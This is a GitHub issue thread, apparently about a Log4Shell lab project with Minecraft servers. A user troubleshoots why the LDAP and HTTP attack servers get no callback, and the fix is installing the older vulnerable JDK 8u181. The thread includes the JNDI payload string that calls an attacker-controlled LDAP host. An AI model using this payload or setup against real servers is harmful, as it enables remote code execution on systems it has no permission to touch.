Question

The request does not reach the HTTP server.

Closed this issue 3 years ago · 13 comments

Hello! Thank you very much for your work!
As shown in the video, I deployed both python codes on Ubuntu 20.04 LTS using the Linode service, everything worked and it was written in one terminal:
Listening on 0.0.0.0:1389
And in the other:

root@localhost:~/log4jminecraft# python3 jcomp_pyserv.py
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

I also created a Minecraft server on my PC at version 1.18.1(at first) and installed the Java Kit.
After that I changed the variable in server.properties:
online-mode=false
I need this so that I can log in to the server with TLauncher.

After that, I entered the command in minecraft:
${jndi:ldap://LINODE_SERVER_IP:1389/Log4JCE}
Nothing worked on version 1.18.1.

I also tried it on versions 1.17.1 and 1.8.8 (as in the video).
In these cases, the LDAP signal reaches the server:

But on the server with Minecraft there is a long error:

[13:27:52] [Server thread/INFO]: Done (0,720s)! For help, type "help" or "?"

I have an inkling what's going wrong is happening on the Minecraft server. Do you have the same version of JDK on the Minecraft server? Can you give me more details on the Minecraft server PC. What do you get when you run
java -version in Powershell or Command Prompt?

@davidbombal Sorry, I didn't expect such a quick response.

C:\Users\user>java -version
java version "17.0.1" 2021-10-19 LTS
Java(TM) SE Runtime Environment (build 17.0.1+12-LTS-39)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.1+12-LTS-39, mixed mode, sharing)

Yes, I thought about it, but I do not know which version of the JDK the version of Minecraft 1.8.8 should match.

Answer 3 · 2021-12-19T15:39:21.000Z

Please refer to the following guide: https://www.dropbox.com/s/f0leevpga4eburp/Minecraft%20Windows%2011%20setup.pdf?dl=0 . This is the version of the JDK you want to install -> https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exe

Let me know if you came right and I will close this.

I am using Windows 10. Is it ok?

Answer 5 · 2021-12-19T15:45:13.000Z

Yeah Windows 10 will work as well :D

Answer 6 · 2021-12-19T15:46:13.000Z

Yeah Windows 10 will work as well :D

Thanks, i will try! Did you make this guide personally for me?

Answer 7 · 2021-12-19T15:48:18.000Z

Yes and No ;). We did it for the YouTube video, which accompanies this project. It's for all tinkerers and hackers like yourself.

The same. The packets did not reach the HTTP server.

Looks like you have the wrong version of Java still. Should be 1.8.0_181-b13. That's the one I'm running.

Looks like you have the wrong version of Java still. Should be 1.8.0_181-b13. That's the one I'm running.

Found a solution: I didn't uninstall the old version. Now i have right version, I'll try to run it.

It's working! Thank you!

P. S. You have a very good advertisement that even made me buy a subscription to linode, although I could do it from my PC ;)
